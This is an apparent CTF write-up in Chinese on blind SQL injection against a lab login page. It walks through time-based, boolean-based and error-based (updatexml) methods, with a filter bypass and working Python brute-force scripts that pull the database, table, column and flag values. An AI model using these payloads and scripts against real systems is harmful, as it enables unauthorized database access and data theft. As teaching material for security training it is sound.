一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

概述

本题是一个盲注题,可以基于布尔也可以基于时间,如果不会的话可以根据提示在网址后面加一个?tips=1降低难度成为一个基于报错的盲注。
本题所有脚本均用傻逼爆破,没有用二分法,有兴趣的大佬可以根据我提供的脚本二次开发,可以的话在评论区给个链接(菜鸡对二分法不是很懂,觉得写脚本的时间还不如等爆破完成)

解法一:基于时间

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
直接在前端进行注入的话没有报错回显,所以需要抓个包然后开始测试。

测库名

首先测试库名长度

name=1'+or+if(length(database())=4,sleep(1),1)#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
等了3秒,我们默认是sleep1秒,但是不知道为什么睡的时间是输入的3-4倍左右,不管了,反正长度是4(1-4慢慢试)

然后测试库名:

  • 这里补充一个知识点,MySQL的substr函数substr(a,b,c)a处为需要截取的字符,b处为从第几位开始,c处为截取几位。比如substr(database(),2,1)就是将数据库名从第2位开始截取1位,即取第二个字符(如果库名为note结果就是o
name=1'+or+if(substr(database(),1,1)='n',sleep(1),1)#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
过了三秒才有回显,于是判断第一位是n
写个脚本

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
flag = ''

length=4
for num in range(1,length+1):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("flag:" , flag)
            break
print(flag)

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

测试表名

注意,这里‘select’被过滤了,可以使用双写绕过,也可以使用大小写绕过

name=1'+or+if(substr((seLEct+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1,1)='f',sleep(1),1)#&pass=asdasd

测第一位,结果是f
脚本:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
flag = ''


for num in range(1,100):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

测试字段名

name=1'+or+if(substr((seLEct+group_concat(column_name)+from+information_schema.columns+where+table_name='fl4g'),1,1)='f',sleep(1),1)#&pass=asdasd

第一位是f,盲猜是flag,但是还是测试一下:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
flag = ''


for num in range(1,100):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("column_name:" , flag)
            break
print("column_name:", flag)

字段名是flag
一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

cat flag

查flag长度

name=1'+or+if(length((seLEct+flag+from+fl4g))=26,sleep(3),1)#&pass=asdasd

长度为26。

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct flag from fl4g),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,27):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

解法二:基于布尔

分析

首先研究一下登录界面的报错信息
一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
用admin登录,显示密码错误,用其他账号登录,显示账号不存在。这样子就说明了两个点:

  • 默认用户是admin
  • 用户名栏可以判断我们的输入是True 还是False

burp抓包并发送试试:
一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

admin:    {"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
w4ke:     {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

这里都是页面信息,那么我们可以根据这个信息来进行判断我们的输入是否正确,构造payload:

name=1' or 1=1#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
发现页面返回的信息是True,这里解释一下为什么是True:

首先判断username = '1'  ⇒  False
然后判断 1=1 ⇒ True
False or True ⇒ True

所以只要后面构造的是True,那么整个语句就是True,然后开始构造第一个攻击脚本

测试库名

name=1' or length(database())=4#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
数据库长度为4

name=1' or substr(database(),1,1)='n'#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
库名第一个字母是n
构造脚本:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
sql = "1' or substr(database(),%d,1)='%s'#"
flag = ''
for num in range(1,5):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

测表名

name=1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='f'#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
表的第一位是f
上脚本

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
flag = ''
for num in range(1,8):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

测字段名

name=1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),1,1)='f'#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
字段名的第一位也是f

上脚本:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
flag = ''
for num in range(1,13):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

cat flag

name=1' or substr((seLEct flag from fl4g),1,1)='n'#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
第一位是n
上脚本:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
sql = "=1' or substr((seLEct flag from fl4g),%d,1)='%s'#"
flag = ""
for num in range(1,28):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.05)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

解法三:基于报错

首先题目提示难度太大可以在url后面加一个?tips=1,菜鸡发现这边可以显示报错信息。
一般常用的报错函数有extractvalue,updatexml等,用法差不多,这边就用updatexml吧。

爆库名

name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
这里直接爆出数据库名

爆表名

name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

爆字段名

name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

cat flag

name=1' and updatexml(1,concat(0x7e,(seLEct flag from fl4g),0x7e),1)#&pass=asdasd

一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2

上一篇:Oracle 两个逗号分割的字符串,获取交集、差集的sql实现过程解析


下一篇:使用jsonp获取腾讯天气